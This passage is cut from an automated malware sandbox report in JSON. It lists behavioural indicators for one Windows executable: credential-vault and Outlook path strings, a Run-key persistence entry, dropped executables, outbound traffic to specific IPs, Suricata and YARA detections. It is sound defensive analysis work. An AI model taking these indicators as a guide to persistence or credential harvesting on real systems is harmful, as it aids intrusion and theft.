Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" called \"GetComputerNameW\" (UID: 00000000-00000656)\n \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" called \"GetComputerNameW\" (UID: 00000000-00006816)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" called \"GetUserNameW\" (UID: 00000000-00006816)","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$54","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to capture screen (API string)","description":"$55","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to create/read/set mailslotinfo (API string)","description":"Found reference to API \"SetMailslotInfo\" (Indicator: \"SetMailslotInfo\"; File: \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\")\n Found reference to API \"SetMailslotInfo\" (Indicator: \"SetMailslotInfo\"; Source: \"00000000-00003720.00000000.155055.00401000.00000020.mdmp\")\n Found reference to API \"SetMailslotInfo\" (Indicator: \"SetMailslotInfo\"; Source: \"00000000-00005260.00000000.155704.00401000.00000020.mdmp\")\n Found reference to API \"SetMailslotInfo\" (Indicator: \"SetMailslotInfo\"; Source: \"00000000-00005660.00000000.157622.00401000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-110","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to determine disk drive type (API string)","description":"Found reference to API \"GetDriveTypeA\" (Indicator: \"GetDriveType\"; Source: \"00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-80","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"$56","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$57","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate system network resources (API string)","description":"Found reference to API \"WNetOpenEnumW\" (Indicator: \"WNetOpenEnum\"; Source: \"00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1135","relevance":1,"id":"string-313","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to find logical drives of the machine (API string)","description":"Found reference to API \"GetLogicalDrives\" (Indicator: \"GetLogicalDrives\"; Source: \"00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-84","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to query network adapter information (API string)","description":"Found reference to API \"GetAdaptersInfo\" (Indicator: \"GetAdaptersInfo\"; Source: \"00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-118","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to query registry keys (API string)","description":"Found reference to API \"RegQueryValueExW\" (Indicator: \"RegQueryValue\"; Source: \"00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.04CC0000.00000004.mdmp\")\n Found reference to API \"RegOpenKeyExW\" (Indicator: \"RegOpenKey\"; Source: \"00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.04CC0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.04CC0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"$58","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00003720.00000000.155055.00401000.00000020.mdmp\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00005260.00000000.155704.00401000.00000020.mdmp\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00005660.00000000.157622.00401000.00000020.mdmp\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.04CC0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve data about the local computer (API string)","description":"Found reference to API \"InterlockedExchangeAdd\" (Indicator: \"InterlockedExchange\"; File: \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\")\n Found reference to API \"InterlockedExchangeAdd\" (Indicator: \"InterlockedExchange\"; Source: \"00000000-00003720.00000000.155055.00401000.00000020.mdmp\")\n Found reference to API \"InterlockedExchangeAdd\" (Indicator: \"InterlockedExchange\"; Source: \"00000000-00005260.00000000.155704.00401000.00000020.mdmp\")\n Found reference to API \"InterlockedExchangeAdd\" (Indicator: \"InterlockedExchange\"; Source: \"00000000-00005660.00000000.157622.00401000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":3,"id":"string-115","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$59","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve process ID (API string)","description":"Found reference to API \"GetProcessId\" (Indicator: \"GetProcessId\"; File: \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\")\n Found reference to API \"GetProcessId\" (Indicator: \"GetProcessId\"; Source: \"00000000-00003720.00000000.155055.00401000.00000020.mdmp\")\n Found reference to API \"GetProcessId\" (Indicator: \"GetProcessId\"; Source: \"00000000-00005260.00000000.155704.00401000.00000020.mdmp\")\n Found reference to API \"GetProcessId\" (Indicator: \"GetProcessId\"; Source: \"00000000-00005660.00000000.157622.00401000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-478","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","description":"Found reference to API \"GetComputerNameW\" (Indicator: \"GetComputerName\"; Source: \"00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp\")\n Found reference to API \"3145,,GetComputerNameW,kerne\" (Indicator: \"GetComputerName\"; Source: \"00000000-00006816.00000000.156167.00690000.00000004.mdmp, 00000000-00006816.00000001.158086.00690000.00000004.mdmp, 00000000-00006816.00000002.160006.00690000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-122","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"$5a","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"Found reference to API \"GetEnvironmentVariableA\" (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp\")\n Found reference to API \"GetEnvironmentVariableW\" (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00006816.00000002.160006.04CC0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-107","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"$5b","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve usernames and/or user information (API string)","description":"$5c","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains reference to Outlook data files path","description":"Found string \"%USERPROFILE%\\Documents\\Outlook Files\\*\" (Indicator: \"\\documents\\outlook files\"; Source: \"00000000-00006816-00000C2C-58611553986\")\n Found string \":\\Users\\HAPUBWS\\AppData\\Local\\Microsoft\\Outlook\\\" (Indicator: \"\\appdata\\local\\microsoft\\outlook\"; Source: \"00000000-00006816.00000002.160006.00690000.00000004.mdmp\")\n Found string \"??\\C:\\Users\\HAPUBWS\\Documents\\Outlook Files\\Outlook1.pst\" (Indicator: \"\\documents\\outlook files\"; Source: \"00000000-00006816.00000002.160006.05AA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1114.001","relevance":3,"id":"string-570","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"$5d","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found mail information locations related strings","description":"\":\\Users\\HAPUBWS\\AppData\\Local\\Microsoft\\Outlook\\\" in Source: 00000000-00006816.00000002.160006.00690000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1114","relevance":1,"id":"string-129","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found registry key string for installed applications","description":"\"Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Microsoft Edge\" (Indicator: \"microsoft\\windows\\currentversion\\uninstall\") in Source: 00000000-00006816.00000002.160006.04CC0000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-96","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found string related to Windows Vault/Credentials location","description":"\":\\Users\\HAPUBWS\\AppData\\Local\\Microsoft\\Credentials\\\" (Indicator: \"\\microsoft\\credentials\"; File: \"00000000-00006816.00000002.160006.00690000.00000004.mdmp\")\n \":\\Users\\HAPUBWS\\AppData\\Local\\Microsoft\\Vault\\\" (Indicator: \"\\microsoft\\vault\"; File: \"00000000-00006816.00000002.160006.05AA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1555.004","relevance":3,"id":"string-197","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found strings related to keylogger","description":"file/memory contains long string with (Indicator: \"\"; File: \"syncres.dll.mui\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-556","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Imports GetCommandLine API","description":"Observed import api \"GetCommandLineA\" which can \"Retrieves the command-line string for the current process\" [Source: 43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe]","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-88","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Imports Mailslot related APIs","description":"Observed import api \"SetMailslotInfo\" which can \"Sets the time-out value used by the specified mailslot for a read operation\" [Source: 43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe]","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-83","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"System Security","name":"Able to retrieve/open a process (API string)","description":"Found string \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp\")\n Found string \"OpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00006816.00000002.160006.04CC0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-729","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"Found string \":\\WINDOWS\\system32\\DRIVERS\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00006816.00000000.156167.00690000.00000004.mdmp, 00000000-00006816.00000001.158086.00690000.00000004.mdmp, 00000000-00006816.00000002.160006.00690000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"$5e","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify file attributes (API string)","description":"Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; File: \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\")\n Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; Source: \"00000000-00003720.00000000.155055.00401000.00000020.mdmp\")\n Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; Source: \"00000000-00005260.00000000.155704.00401000.00000020.mdmp\")\n Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; Source: \"00000000-00005660.00000000.157622.00401000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1222","relevance":1,"id":"string-426","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"Found reference to API \"GetTokenInformation\" (Indicator: \"GetTokenInformation\"; Source: \"00000000-00006816.00000002.160006.04CC0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"$5f","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00003720.00000000.155055.00401000.00000020.mdmp\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00005260.00000000.155704.00401000.00000020.mdmp\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00005660.00000000.157622.00401000.00000020.mdmp\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.04CC0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$60","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to free the memory used by network management functions (API string)","description":"Found reference to API \"NetApiBufferFree\" (Indicator: \"NetApiBufferFree\"; Source: \"00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-223","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to reboot/shutdown the operating system (API string)","description":"Found reference to API \"SetSystemPowerState\" (Indicator: \"SetSystemPowerState\"; File: \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\")\n Found reference to API \"SetSystemPowerState\" (Indicator: \"SetSystemPowerState\"; Source: \"00000000-00003720.00000000.155055.00401000.00000020.mdmp\")\n Found reference to API \"SetSystemPowerState\" (Indicator: \"SetSystemPowerState\"; Source: \"00000000-00005260.00000000.155704.00401000.00000020.mdmp\")\n Found reference to API \"SetSystemPowerState\" (Indicator: \"SetSystemPowerState\"; Source: \"00000000-00005660.00000000.157622.00401000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1529","relevance":3,"id":"string-189","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"Found reference to API \"CreateMutexA\" (Indicator: \"CreateMutex\"; Source: \"00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops executable files inside temp directory","description":"\"BIT59EE.tmp\" has type \"MS-DOS executable MZ for MS-DOS\"- Location: [%TEMP%\\BIT59EE.tmp]- [targetUID: 00000000-00006816]\n \"BIT6330.tmp\" has type \"MS-DOS executable\"- Location: [%TEMP%\\BIT6330.tmp]- [targetUID: 00000000-00006816]\n \"BITF35B.tmp\" has type \"MS-DOS executable\"- Location: [%TEMP%\\BITF35B.tmp]- [targetUID: 00000000-00006816]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-33","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"$61","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" was detected as \"VC8 -> Microsoft Corporation\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Section contains high entropy","description":"\"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" has section name .data with entropy \"7.990255246340704\"","origin":"Static Parser","mitre_attack_id":"T1027.009","relevance":1,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure","description":"GetStartupInfoW@KERNEL32.dll at 17336-1-00404FDD","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1543","relevance":5,"id":"stream-133","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"suspicious","category":"Exploit/Shellcode","name":"Contains escaped byte string (often part of obfuscated shellcode)","description":"$62","origin":"File/Memory","mitre_attack_id":"T1140","relevance":10,"id":"string-15","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"suspicious","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET INFO Observed External IP Lookup Domain (api .2ip .ua in TLS SNI)\" (SID: 2033214, Rev: 2, Severity: 2) categorized as \"Potentially Bad Traffic\"\n Detected alert \"ET INFO External IP Address Lookup DNS Query (2ip .ua)\" (SID: 2027026, Rev: 3, Severity: 2) categorized as \"Device Retrieving External IP Address Detected\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-1","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"\"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" reads file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"\n \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" reads file \"C:\\Users\\%OSUSER%\\Documents\\desktop.ini\"\n \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" reads file \"C:\\Users\\%OSUSER%\\Music\\desktop.ini\"\n \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" reads file \"C:\\Users\\%OSUSER%\\Pictures\\desktop.ini\"\n \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" reads file \"C:\\Users\\%OSUSER%\\Videos\\desktop.ini\"\n \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" reads file \"C:\\Users\\%OSUSER%\\Downloads\\desktop.ini\"\n \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" reads file \"C:\\Users\\%OSUSER%\\OneDrive\\desktop.ini\"","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"details too long to display","origin":"Binary File","mitre_attack_id":"T1105","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"\"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\"; Key: \"SYSHELPER\"; Value: \"\"%LOCALAPPDATA%\\0d22269f-cd2d-42d7-a8f0-0801a4163d01\\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" --AutoStart\")","origin":"Registry Access","mitre_attack_id":"T1547.001","relevance":8,"id":"registry-0","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 104.21.16.1 on port 443 is sent without HTTP header\n TCP traffic to 188.40.141.211 on port 80 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match - Anti-Debugging (PEB)","description":"YARA signature for anti-debugging matched on file \"winresume.exe\"","origin":"YARA Signature","mitre_attack_id":"T1622","relevance":3,"id":"yara-38","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match - ChaCha20 128-bit algorithm","description":"YARA signature for ChaCha20 128-bit key algorithm matched on file \"obfs4proxy.exe\"\n YARA signature for ChaCha20 128-bit key algorithm matched on file \"snowflake-client.exe\"\n YARA signature for ChaCha20 128-bit key algorithm matched on file \"tor-gencert.exe\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":9,"id":"yara-57","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match - ChaCha20 256-bit algorithm","description":"YARA signature for ChaCha20 256-bit key algorithm 